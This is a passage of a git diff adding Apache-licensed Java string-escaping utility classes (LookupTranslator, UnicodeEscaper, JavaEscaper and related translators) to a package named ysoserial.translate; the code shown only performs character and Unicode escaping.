||||||
|
if (consumed == 0) {
|
||||||
|
// inlined implementation of Character.toChars(Character.codePointAt(input, pos))
|
||||||
|
// avoids allocating temp char arrays and duplicate checks
|
||||||
|
final char c1 = input.charAt(pos);
|
||||||
|
out.write(c1);
|
||||||
|
pos++;
|
||||||
|
if (Character.isHighSurrogate(c1) && pos < len) {
|
||||||
|
final char c2 = input.charAt(pos);
|
||||||
|
if (Character.isLowSurrogate(c2)) {
|
||||||
|
out.write(c2);
|
||||||
|
pos++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
// contract with translators is that they have to understand codepoints
|
||||||
|
// and they just took care of a surrogate pair
|
||||||
|
for (int pt = 0; pt < consumed; pt++) {
|
||||||
|
pos += Character.charCount(Character.codePointAt(input, pos));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Helper method to create a merger of this translator with another set of
|
||||||
|
* translators. Useful in customizing the standard functionality.
|
||||||
|
*
|
||||||
|
* @param translators CharSequenceTranslator array of translators to merge with this one
|
||||||
|
* @return CharSequenceTranslator merging this translator with the others
|
||||||
|
*/
|
||||||
|
public final CharSequenceTranslator with(final CharSequenceTranslator... translators) {
|
||||||
|
final CharSequenceTranslator[] newArray = new CharSequenceTranslator[translators.length + 1];
|
||||||
|
newArray[0] = this;
|
||||||
|
System.arraycopy(translators, 0, newArray, 1, translators.length);
|
||||||
|
return new AggregateTranslator(newArray);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* <p>Returns an upper case hexadecimal <code>String</code> for the given
|
||||||
|
* character.</p>
|
||||||
|
*
|
||||||
|
* @param codepoint The codepoint to convert.
|
||||||
|
* @return An upper case hexadecimal <code>String</code>
|
||||||
|
*/
|
||||||
|
public static String hex(final int codepoint) {
|
||||||
|
return Integer.toHexString(codepoint).toUpperCase(Locale.ENGLISH);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,51 @@
|
|||||||
|
/*
|
||||||
|
* Licensed to the Apache Software Foundation (ASF) under one or more
|
||||||
|
* contributor license agreements. See the NOTICE file distributed with
|
||||||
|
* this work for additional information regarding copyright ownership.
|
||||||
|
* The ASF licenses this file to You under the Apache License, Version 2.0
|
||||||
|
* (the "License"); you may not use this file except in compliance with
|
||||||
|
* the License. You may obtain a copy of the License at
|
||||||
|
*
|
||||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
*
|
||||||
|
* Unless required by applicable law or agreed to in writing, software
|
||||||
|
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
* See the License for the specific language governing permissions and
|
||||||
|
* limitations under the License.
|
||||||
|
*/
|
||||||
|
package ysoserial.translate;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.Writer;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Helper subclass to CharSequenceTranslator to allow for translations that
|
||||||
|
* will replace up to one character at a time.
|
||||||
|
*
|
||||||
|
* @since 1.0
|
||||||
|
*/
|
||||||
|
public abstract class CodePointTranslator extends CharSequenceTranslator {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Implementation of translate that maps onto the abstract translate(int, Writer) method.
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
@Override
|
||||||
|
public final int translate(final CharSequence input, final int index, final Writer out) throws IOException {
|
||||||
|
final int codepoint = Character.codePointAt(input, index);
|
||||||
|
final boolean consumed = translate(codepoint, out);
|
||||||
|
return consumed ? 1 : 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Translate the specified codepoint into another.
|
||||||
|
*
|
||||||
|
* @param codepoint int character input to translate
|
||||||
|
* @param out Writer to optionally push the translated output to
|
||||||
|
* @return boolean as to whether translation occurred or not
|
||||||
|
* @throws IOException if and only if the Writer produces an IOException
|
||||||
|
*/
|
||||||
|
public abstract boolean translate(int codepoint, Writer out) throws IOException;
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,33 @@
|
|||||||
|
package ysoserial.translate;
|
||||||
|
|
||||||
|
import java.util.Collections;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
public class JavaEscaper {
|
||||||
|
public static final Map<CharSequence, CharSequence> JAVA_CTRL_CHARS_ESCAPE;
|
||||||
|
public static final CharSequenceTranslator ESCAPE_JAVA;
|
||||||
|
|
||||||
|
static {
|
||||||
|
Map<CharSequence, CharSequence> initialMap = new HashMap<CharSequence, CharSequence>();
|
||||||
|
initialMap.put("\b", "\\b");
|
||||||
|
initialMap.put("\n", "\\n");
|
||||||
|
initialMap.put("\t", "\\t");
|
||||||
|
initialMap.put("\f", "\\f");
|
||||||
|
initialMap.put("\r", "\\r");
|
||||||
|
JAVA_CTRL_CHARS_ESCAPE = Collections.unmodifiableMap(initialMap);
|
||||||
|
|
||||||
|
Map<CharSequence, CharSequence> escapeJavaMap = new HashMap<CharSequence, CharSequence>();
|
||||||
|
escapeJavaMap.put("\"", "\\\"");
|
||||||
|
escapeJavaMap.put("\\", "\\\\");
|
||||||
|
ESCAPE_JAVA = new AggregateTranslator(
|
||||||
|
new LookupTranslator(Collections.unmodifiableMap(escapeJavaMap)),
|
||||||
|
new LookupTranslator(JAVA_CTRL_CHARS_ESCAPE),
|
||||||
|
JavaUnicodeEscaper.outsideOf(32, 0x7f)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static final String escapeJava(final String input) {
|
||||||
|
return ESCAPE_JAVA.translate(input);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,113 @@
|
|||||||
|
/*
|
||||||
|
* Licensed to the Apache Software Foundation (ASF) under one or more
|
||||||
|
* contributor license agreements. See the NOTICE file distributed with
|
||||||
|
* this work for additional information regarding copyright ownership.
|
||||||
|
* The ASF licenses this file to You under the Apache License, Version 2.0
|
||||||
|
* (the "License"); you may not use this file except in compliance with
|
||||||
|
* the License. You may obtain a copy of the License at
|
||||||
|
*
|
||||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
*
|
||||||
|
* Unless required by applicable law or agreed to in writing, software
|
||||||
|
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
* See the License for the specific language governing permissions and
|
||||||
|
* limitations under the License.
|
||||||
|
*/
|
||||||
|
package ysoserial.translate;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Translates codepoints to their Unicode escaped value suitable for Java source.
|
||||||
|
*
|
||||||
|
* @since 1.0
|
||||||
|
*/
|
||||||
|
public class JavaUnicodeEscaper extends UnicodeEscaper {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* <p>
|
||||||
|
* Constructs a <code>JavaUnicodeEscaper</code> above the specified value (exclusive).
|
||||||
|
* </p>
|
||||||
|
*
|
||||||
|
* @param codepoint
|
||||||
|
* above which to escape
|
||||||
|
* @return the newly created {@code UnicodeEscaper} instance
|
||||||
|
*/
|
||||||
|
public static JavaUnicodeEscaper above(final int codepoint) {
|
||||||
|
return outsideOf(0, codepoint);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* <p>
|
||||||
|
* Constructs a <code>JavaUnicodeEscaper</code> below the specified value (exclusive).
|
||||||
|
* </p>
|
||||||
|
*
|
||||||
|
* @param codepoint
|
||||||
|
* below which to escape
|
||||||
|
* @return the newly created {@code UnicodeEscaper} instance
|
||||||
|
*/
|
||||||
|
public static JavaUnicodeEscaper below(final int codepoint) {
|
||||||
|
return outsideOf(codepoint, Integer.MAX_VALUE);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* <p>
|
||||||
|
* Constructs a <code>JavaUnicodeEscaper</code> between the specified values (inclusive).
|
||||||
|
* </p>
|
||||||
|
*
|
||||||
|
* @param codepointLow
|
||||||
|
* above which to escape
|
||||||
|
* @param codepointHigh
|
||||||
|
* below which to escape
|
||||||
|
* @return the newly created {@code UnicodeEscaper} instance
|
||||||
|
*/
|
||||||
|
public static JavaUnicodeEscaper between(final int codepointLow, final int codepointHigh) {
|
||||||
|
return new JavaUnicodeEscaper(codepointLow, codepointHigh, true);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* <p>
|
||||||
|
* Constructs a <code>JavaUnicodeEscaper</code> outside of the specified values (exclusive).
|
||||||
|
* </p>
|
||||||
|
*
|
||||||
|
* @param codepointLow
|
||||||
|
* below which to escape
|
||||||
|
* @param codepointHigh
|
||||||
|
* above which to escape
|
||||||
|
* @return the newly created {@code UnicodeEscaper} instance
|
||||||
|
*/
|
||||||
|
public static JavaUnicodeEscaper outsideOf(final int codepointLow, final int codepointHigh) {
|
||||||
|
return new JavaUnicodeEscaper(codepointLow, codepointHigh, false);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* <p>
|
||||||
|
* Constructs a <code>JavaUnicodeEscaper</code> for the specified range. This is the underlying method for the
|
||||||
|
* other constructors/builders. The <code>below</code> and <code>above</code> boundaries are inclusive when
|
||||||
|
* <code>between</code> is <code>true</code> and exclusive when it is <code>false</code>.
|
||||||
|
* </p>
|
||||||
|
*
|
||||||
|
* @param below
|
||||||
|
* int value representing the lowest codepoint boundary
|
||||||
|
* @param above
|
||||||
|
* int value representing the highest codepoint boundary
|
||||||
|
* @param between
|
||||||
|
* whether to escape between the boundaries or outside them
|
||||||
|
*/
|
||||||
|
public JavaUnicodeEscaper(final int below, final int above, final boolean between) {
|
||||||
|
super(below, above, between);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Converts the given codepoint to a hex string of the form {@code "\\uXXXX\\uXXXX"}.
|
||||||
|
*
|
||||||
|
* @param codepoint
|
||||||
|
* a Unicode code point
|
||||||
|
* @return the hex string for the given codepoint
|
||||||
|
*/
|
||||||
|
@Override
|
||||||
|
protected String toUtf16Escape(final int codepoint) {
|
||||||
|
final char[] surrogatePair = Character.toChars(codepoint);
|
||||||
|
return "\\u" + hex(surrogatePair[0]) + "\\u" + hex(surrogatePair[1]);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,104 @@
|
|||||||
|
/*
|
||||||
|
* Licensed to the Apache Software Foundation (ASF) under one or more
|
||||||
|
* contributor license agreements. See the NOTICE file distributed with
|
||||||
|
* this work for additional information regarding copyright ownership.
|
||||||
|
* The ASF licenses this file to You under the Apache License, Version 2.0
|
||||||
|
* (the "License"); you may not use this file except in compliance with
|
||||||
|
* the License. You may obtain a copy of the License at
|
||||||
|
*
|
||||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
*
|
||||||
|
* Unless required by applicable law or agreed to in writing, software
|
||||||
|
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
* See the License for the specific language governing permissions and
|
||||||
|
* limitations under the License.
|
||||||
|
*/
|
||||||
|
package ysoserial.translate;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.Writer;
|
||||||
|
import java.security.InvalidParameterException;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.HashSet;
|
||||||
|
import java.util.Iterator;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Translates a value using a lookup table.
|
||||||
|
*
|
||||||
|
* @since 1.0
|
||||||
|
*/
|
||||||
|
public class LookupTranslator extends CharSequenceTranslator {
|
||||||
|
|
||||||
|
/** The mapping to be used in translation. */
|
||||||
|
private final Map<String, String> lookupMap;
|
||||||
|
/** The first character of each key in the lookupMap. */
|
||||||
|
private final HashSet<Character> prefixSet;
|
||||||
|
/** The length of the shortest key in the lookupMap. */
|
||||||
|
private final int shortest;
|
||||||
|
/** The length of the longest key in the lookupMap. */
|
||||||
|
private final int longest;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Define the lookup table to be used in translation
|
||||||
|
*
|
||||||
|
* Note that, as of Lang 3.1 (the orgin of this code), the key to the lookup
|
||||||
|
* table is converted to a java.lang.String. This is because we need the key
|
||||||
|
* to support hashCode and equals(Object), allowing it to be the key for a
|
||||||
|
* HashMap. See LANG-882.
|
||||||
|
*
|
||||||
|
* @param lookupMap Map<CharSequence, CharSequence> table of translator
|
||||||
|
* mappings
|
||||||
|
*/
|
||||||
|
public LookupTranslator(final Map<CharSequence, CharSequence> lookupMap) {
|
||||||
|
if (lookupMap == null) {
|
||||||
|
throw new InvalidParameterException("lookupMap cannot be null");
|
||||||
|
}
|
||||||
|
this.lookupMap = new HashMap<String, String>();
|
||||||
|
this.prefixSet = new HashSet<Character>();
|
||||||
|
int currentShortest = Integer.MAX_VALUE;
|
||||||
|
int currentLongest = 0;
|
||||||
|
Iterator<Map.Entry<CharSequence, CharSequence>> it = lookupMap.entrySet().iterator();
|
||||||
|
|
||||||
|
while (it.hasNext()) {
|
||||||
|
Map.Entry<CharSequence, CharSequence> pair = it.next();
|
||||||
|
this.lookupMap.put(pair.getKey().toString(), pair.getValue().toString());
|
||||||
|
this.prefixSet.add(pair.getKey().charAt(0));
|
||||||
|
final int sz = pair.getKey().length();
|
||||||
|
if (sz < currentShortest) {
|
||||||
|
currentShortest = sz;
|
||||||
|
}
|
||||||
|
if (sz > currentLongest) {
|
||||||
|
currentLongest = sz;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
this.shortest = currentShortest;
|
||||||
|
this.longest = currentLongest;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
@Override
|
||||||
|
public int translate(final CharSequence input, final int index, final Writer out) throws IOException {
|
||||||
|
// check if translation exists for the input at position index
|
||||||
|
if (prefixSet.contains(input.charAt(index))) {
|
||||||
|
int max = longest;
|
||||||
|
if (index + longest > input.length()) {
|
||||||
|
max = input.length() - index;
|
||||||
|
}
|
||||||
|
// implement greedy algorithm by trying maximum match first
|
||||||
|
for (int i = max; i >= shortest; i--) {
|
||||||
|
final CharSequence subSeq = input.subSequence(index, index + i);
|
||||||
|
final String result = lookupMap.get(subSeq.toString());
|
||||||
|
|
||||||
|
if (result != null) {
|
||||||
|
out.write(result);
|
||||||
|
return i;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,140 @@
|
|||||||
|
/*
|
||||||
|
* Licensed to the Apache Software Foundation (ASF) under one or more
|
||||||
|
* contributor license agreements. See the NOTICE file distributed with
|
||||||
|
* this work for additional information regarding copyright ownership.
|
||||||
|
* The ASF licenses this file to You under the Apache License, Version 2.0
|
||||||
|
* (the "License"); you may not use this file except in compliance with
|
||||||
|
* the License. You may obtain a copy of the License at
|
||||||
|
*
|
||||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
*
|
||||||
|
* Unless required by applicable law or agreed to in writing, software
|
||||||
|
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
* See the License for the specific language governing permissions and
|
||||||
|
* limitations under the License.
|
||||||
|
*/
|
||||||
|
package ysoserial.translate;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.Writer;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Translates codepoints to their Unicode escaped value.
|
||||||
|
*
|
||||||
|
* @since 1.0
|
||||||
|
*/
|
||||||
|
public class UnicodeEscaper extends CodePointTranslator {
|
||||||
|
|
||||||
|
/** int value representing the lowest codepoint boundary. */
|
||||||
|
private final int below;
|
||||||
|
/** int value representing the highest codepoint boundary. */
|
||||||
|
private final int above;
|
||||||
|
/** whether to escape between the boundaries or outside them. */
|
||||||
|
private final boolean between;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* <p>Constructs a <code>UnicodeEscaper</code> for all characters.
|
||||||
|
* </p>
|
||||||
|
*/
|
||||||
|
public UnicodeEscaper() {
|
||||||
|
this(0, Integer.MAX_VALUE, true);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* <p>Constructs a <code>UnicodeEscaper</code> for the specified range. This is
|
||||||
|
* the underlying method for the other constructors/builders. The <code>below</code>
|
||||||
|
* and <code>above</code> boundaries are inclusive when <code>between</code> is
|
||||||
|
* <code>true</code> and exclusive when it is <code>false</code>. </p>
|
||||||
|
*
|
||||||
|
* @param below int value representing the lowest codepoint boundary
|
||||||
|
* @param above int value representing the highest codepoint boundary
|
||||||
|
* @param between whether to escape between the boundaries or outside them
|
||||||
|
*/
|
||||||
|
protected UnicodeEscaper(final int below, final int above, final boolean between) {
|
||||||
|
this.below = below;
|
||||||
|
this.above = above;
|
||||||
|
this.between = between;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* <p>Constructs a <code>UnicodeEscaper</code> below the specified value (exclusive). </p>
|
||||||
|
*
|
||||||
|
* @param codepoint below which to escape
|
||||||
|
* @return the newly created {@code UnicodeEscaper} instance
|
||||||
|
*/
|
||||||
|
public static UnicodeEscaper below(final int codepoint) {
|
||||||
|
return outsideOf(codepoint, Integer.MAX_VALUE);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* <p>Constructs a <code>UnicodeEscaper</code> above the specified value (exclusive). </p>
|
||||||
|
*
|
||||||
|
* @param codepoint above which to escape
|
||||||
|
* @return the newly created {@code UnicodeEscaper} instance
|
||||||
|
*/
|
||||||
|
public static UnicodeEscaper above(final int codepoint) {
|
||||||
|
return outsideOf(0, codepoint);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* <p>Constructs a <code>UnicodeEscaper</code> outside of the specified values (exclusive). </p>
|
||||||
|
*
|
||||||
|
* @param codepointLow below which to escape
|
||||||
|
* @param codepointHigh above which to escape
|
||||||
|
* @return the newly created {@code UnicodeEscaper} instance
|
||||||
|
*/
|
||||||
|
public static UnicodeEscaper outsideOf(final int codepointLow, final int codepointHigh) {
|
||||||
|
return new UnicodeEscaper(codepointLow, codepointHigh, false);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* <p>Constructs a <code>UnicodeEscaper</code> between the specified values (inclusive). </p>
|
||||||
|
*
|
||||||
|
* @param codepointLow above which to escape
|
||||||
|
* @param codepointHigh below which to escape
|
||||||
|
* @return the newly created {@code UnicodeEscaper} instance
|
||||||
|
*/
|
||||||
|
public static UnicodeEscaper between(final int codepointLow, final int codepointHigh) {
|
||||||
|
return new UnicodeEscaper(codepointLow, codepointHigh, true);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
@Override
|
||||||
|
public boolean translate(final int codepoint, final Writer out) throws IOException {
|
||||||
|
if (between) {
|
||||||
|
if (codepoint < below || codepoint > above) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
if (codepoint >= below && codepoint <= above) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (codepoint > 0xffff) {
|
||||||
|
out.write(toUtf16Escape(codepoint));
|
||||||
|
} else {
|
||||||
|
out.write("\\u");
|
||||||
|
out.write(HEX_DIGITS[(codepoint >> 12) & 15]);
|
||||||
|
out.write(HEX_DIGITS[(codepoint >> 8) & 15]);
|
||||||
|
out.write(HEX_DIGITS[(codepoint >> 4) & 15]);
|
||||||
|
out.write(HEX_DIGITS[(codepoint) & 15]);
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Converts the given codepoint to a hex string of the form {@code "\\uXXXX"}.
|
||||||
|
*
|
||||||
|
* @param codepoint
|
||||||
|
* a Unicode code point
|
||||||
|
* @return the hex string for the given codepoint
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
protected String toUtf16Escape(final int codepoint) {
|
||||||
|
return "\\u" + hex(codepoint);
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user